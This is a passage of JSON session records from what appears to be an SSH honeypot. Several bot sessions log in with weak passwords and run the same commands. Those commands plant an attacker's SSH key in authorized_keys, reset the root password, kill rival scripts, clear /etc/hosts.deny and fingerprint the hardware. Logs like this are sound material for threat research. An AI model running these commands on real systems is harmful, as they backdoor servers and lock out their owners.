AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:10:09.208420+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:10:10.111203+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:10:10.572000+00:00","kind":"input","latency_ms":null,"data":"echo \"root:8uPTSeXWmrL2\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:10:11.034085+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:10:11.494902+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:10:12.231326+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:10:12.693221+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:10:14.169024+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:10:14.646664+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:10:15.525137+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:10:15.990383+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:10:16.628683+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:10:17.091788+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:10:17.693530+00:00","kind":"output","latency_ms":null,"data":" 12:10:17 up 7 days, 9:00, 0 user, load average: 0.31, 0.25, 0.34\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:10:18.154777+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:10:18.516705+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:10:18.979458+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:10:19.298372+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:10:19.755672+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:10:20.638854+00:00","kind":"output","latency_ms":null,"data":"top - 12:10:20 up 7 days, 9:00, 0 user, load average: 0.31, 0.25, 0.34\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:10:21.104373+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:10:21.692401+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:10:22.155450+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:10:22.830418+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:10:23.289863+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:10:23.659032+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:10:24.119963+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:10:25.001998+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:10:25.466935+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:10:26.656792+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Hq123456","method":"password","accepted":true,"tier":"other"}]} {"id":"2cebf8e2-48ac-4180-a403-6c2558213b56","name":"dewy-ivory-bluebird","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":34578,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:10:11.214918+00:00","ended_at":"2026-08-27T12:10:12.392297+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:09:50.658047+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:09:50.987250+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:09:56.143153+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:09:57.001586+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:09:57.328305+00:00","kind":"input","latency_ms":null,"data":"echo \"root:xMOq6AxboH3v\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:09:57.658261+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:09:57.984055+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:09:58.729399+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:09:59.061518+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:09:59.818933+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:10:00.173942+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:10:01.071193+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:10:01.399557+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:10:02.253846+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:10:02.582823+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:10:02.838251+00:00","kind":"output","latency_ms":null,"data":" 12:10:02 up 7 days, 9:00, 0 user, load average: 0.11, 0.11, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:10:03.166307+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:10:03.999215+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:10:04.327131+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:10:04.837813+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:10:05.164936+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:10:06.054673+00:00","kind":"output","latency_ms":null,"data":"top - 12:10:06 up 7 days, 9:00, 0 user, load average: 0.11, 0.11, 0.13\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:10:06.382316+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:10:07.172715+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:10:07.499631+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:10:07.961131+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:10:08.287152+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:10:09.052953+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:10:09.380403+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:10:10.889783+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:10:11.215682+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:10:12.293575+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Mm12345","method":"password","accepted":true,"tier":"other"}]} {"id":"7a3f793e-e0fa-41d6-94f4-330526e620df","name":"prairie-fringed-sandpiper","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":37150,"username":"nikita","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":266,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:09:33.060767+00:00","ended_at":"2026-08-27T12:09:34.216657+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2251,"events":[{"seq":1,"at":"2026-08-27T12:09:17.287244+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:09:17.552848+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:09:20.961180+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:09:21.492366+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:09:21.757122+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345\\nxteP7tqhtiOb\\nxteP7tqhtiOb\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:09:22.021751+00:00","kind":"input","latency_ms":null,"data":"echo \"12345\\nxteP7tqhtiOb\\nxteP7tqhtiOb\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:09:22.290287+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:09:22.552186+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:09:22.817535+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:09:23.878738+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:09:24.147258+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:09:25.035478+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:09:25.304251+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:09:25.647927+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:09:25.913463+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:09:26.543455+00:00","kind":"output","latency_ms":null,"data":" 12:09:26 up 7 days, 8:59, 0 user, load average: 0.17, 0.22, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:09:26.807442+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:09:27.371323+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:09:27.636573+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:09:28.043876+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:09:28.317258+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:09:28.671894+00:00","kind":"output","latency_ms":null,"data":"top - 12:09:28 up 7 days, 8:59, 0 user, load average: 0.17, 0.22, 0.13\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:09:28.942307+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:09:29.585476+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:09:29.849442+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:09:30.382773+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:09:30.649037+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:09:31.329960+00:00","kind":"output","latency_ms":null,"data":"nikita"},{"seq":29,"at":"2026-08-27T12:09:31.597107+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:09:32.795352+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:09:33.061850+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:09:34.142241+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"nikita","password":"12345","method":"password","accepted":true,"tier":"other"}]} {"id":"c9f47f74-03c9-4ed8-88d9-75e2f9ccd405","name":"polar-shaded-kea","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":41982,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":744,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:09:16.080070+00:00","ended_at":"2026-08-27T12:09:17.503484+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:08:46.491186+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:08:47.232120+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:08:54.169201+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:08:55.019511+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:08:55.763684+00:00","kind":"input","latency_ms":null,"data":"echo \"root:zApBJs9ZMTfL\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:08:56.505584+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:08:57.250416+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:08:57.674320+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:08:58.422111+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:08:59.596684+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:09:00.345290+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:09:01.706819+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:09:02.458352+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:09:03.000721+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:09:03.744395+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:09:04.073531+00:00","kind":"output","latency_ms":null,"data":" 12:09:04 up 7 days, 8:59, 0 user, load average: 0.27, 0.26, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:09:04.817307+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:09:05.513400+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:09:06.256526+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:09:06.962767+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:09:07.710194+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:09:08.547408+00:00","kind":"output","latency_ms":null,"data":"top - 12:09:08 up 7 days, 8:59, 0 user, load average: 0.27, 0.26, 0.27\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:09:09.291864+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:09:10.105134+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:09:10.853670+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:09:11.636436+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:09:12.379502+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:09:13.191507+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:09:13.934106+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:09:15.324458+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:09:16.080876+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:09:17.259142+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456Ww","method":"password","accepted":true,"tier":"other"}]} {"id":"2c2b0671-77e7-42ae-a6b3-cd3dcc9ff267","name":"bold-hazy-seal","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":51040,"username":"james","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":296,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:08:37.742133+00:00","ended_at":"2026-08-27T12:08:38.736308+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T12:08:19.999502+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:08:20.295483+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:08:23.902553+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:08:24.661321+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:08:24.957095+00:00","kind":"input","latency_ms":null,"data":"echo -e \"james@123\\nR2WoMD45h9cu\\nR2WoMD45h9cu\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:08:25.251622+00:00","kind":"input","latency_ms":null,"data":"echo \"james@123\\nR2WoMD45h9cu\\nR2WoMD45h9cu\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:08:25.545929+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:08:26.111234+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:08:26.407018+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:08:27.644658+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:08:27.973873+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which 